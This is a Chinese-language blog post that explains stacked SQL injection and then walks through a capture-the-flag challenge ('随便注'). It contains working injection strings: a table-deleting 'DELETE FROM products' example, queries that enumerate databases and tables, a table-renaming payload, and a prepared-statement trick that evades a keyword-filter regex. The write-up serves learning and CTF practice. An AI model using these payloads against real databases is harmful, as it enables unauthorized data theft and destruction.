江鸟's Blog

堆叠注入的简单学习

字数统计: 668阅读时长: 2 min
2019/11/04 Share

做题目时遇到的,虽然比较简单,但还是做一次记录

堆叠注入

原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

联合注入是使用联合查询,在同一个语句内执行多个操作,堆叠注入是在输入的内容中加入分号结束一个语句并执行下一个语句。

例如

1
用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

局限性

​ 堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

​ 在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

强网杯 随便注

先确认是否存在注入

1
2
3
4
5
6
7
8
输入1 返回正常
输入1' 报错
输入1‘# 返回正常
输入1' union select 1,2 #
回显过滤规则
return

preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

堆叠注入

1
2
3
4
5
6
7
1';show databases;
显示数据库
1';show tables; #
显示表
1'; show columns from 表名; #
以数字为表名在查询的时候需要加上反引号``
查看到flag字段

在show tables时看到两个表,因为没有显示flag所以显示的words表,所以这个题目的思路是修改words表的名字 然后把有flag的表修改为words

1
1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

不过在buuctf复现的题目中好像不能使用这个方法了

最后使用大佬的预编译绕过

1
1';Set @sqll=concat('sel','ect * from `1919810931114514`');Prepare presql from @sqll;execute presql;deallocate Prepare presql;#
CATALOG
  1. 1. 堆叠注入
    1. 1.1. 原理
    2. 1.2. 局限性
    3. 1.3. 强网杯 随便注